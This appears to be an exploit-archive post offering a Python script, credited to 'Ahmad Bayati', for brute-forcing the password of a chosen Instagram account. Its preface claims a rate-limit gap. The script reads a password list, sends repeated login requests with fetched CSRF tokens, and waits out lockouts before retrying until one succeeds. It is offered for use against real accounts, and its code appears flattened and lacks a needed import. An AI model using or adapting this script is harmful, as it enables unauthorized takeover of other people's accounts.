Instagram Brute Force Attack Using Python

[E1.Coders]

With this script, you can easily perform an Instagram Brute Force attack using Python
If you notice that Instagram has less than 6 passwords, it will always accept your password input
If you ask me "is it vulnerable?" I totally said no, I think the Instagram developer was very smart to create this login feature. So when the input is more than six characters, the login page will process it to check if the password is correct or not. And if you enter the wrong password three or five times, we have to wait a few minutes to re-enter it.
No, we see that if we can enter passwords under six characters, we can do this over and over and over as many times as we want without waiting a few minutes. This is a big reason why this script was created 😏
# Created by Ahmad Bayati

import argparse
import os
import codecs
import time
base_url = 'https://www.instagram.com'
user_agent = 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36'
def user_exists(username):
return requests.get(f'{base_url}/{username}', headers={
'user-agent': user_agent
}).status_code != 404
def clean_list(items):
new_list = []
for item in items:
if item and item not in new_list:
new_list.append(item)
return new_list
def countdown(t):
while t:
mins, secs = divmod(t, 60)
print(f'{mins:02d}:{secs:02d}', end='\r')
time.sleep(1)
t -= 1
parser = argparse.ArgumentParser()
parser.add_argument('username', help='Instagram username of the user you want to attack')
parser.add_argument('passwords_file', help='A passwords file for the software')
args = parser.parse_args()
if not os.path.exists(args.passwords_file):
exit(f'[*] Sorry, can\'t find file named "{args.passwords_file}"')
else:
with codecs.open(args.passwords_file, 'r', 'utf-8') as file:
passwords = clean_list(file.read().splitlines())
if len(passwords) < 1:
exit('[*] The file is empty')
else:
print(f'[*] {len(passwords)} passwords loaded successfully')
if not user_exists(args.username):
exit(f'[*] Sorry, can\'t find user named "{args.username}"')
tries_counter = 0
for password in passwords:
tries_counter += 1
sess = requests.Session()
csrftoken = requests.get(base_url).cookies['csrftoken']
login_req = sess.post(f'{base_url}/accounts/login/ajax/', headers={
'origin': 'https://www.instagram.com',
'pragma': 'no-cache',
'referer': 'https://www.instagram.com/accounts/login/',
'user-agent': user_agent,
'x-csrftoken': csrftoken,
'x-requested-with': 'XMLHttpRequest'
}, data={
'username': args.username,
'password': password,
'queryParams': '{}'
})
print(login_req.text)
# or 'checkpoint_required' in login_req.text
if '"authenticated": true' in login_req.text:
print(f'[*] Login success {[args.username, password]}')
break
else:
print(f'[{tries_counter}] Can\'t login with "{password}"')
if '"authenticated": false' in login_req.text:
pass
elif 'Please wait a few minutes before you try again.' in login_req.text:
print('[*] You should wait 10 minutes')
countdown(600)
# we want to try again, i know that this the most lazy way to fix that
passwords.insert(tries_counter, password)
else:
exit(f'Unknown error, Open an issue on github with this content "{login_req.text}" and more details please')
input('[*] Press enter to exit')

https://cxsecurity.com/issue/WLB-2023040057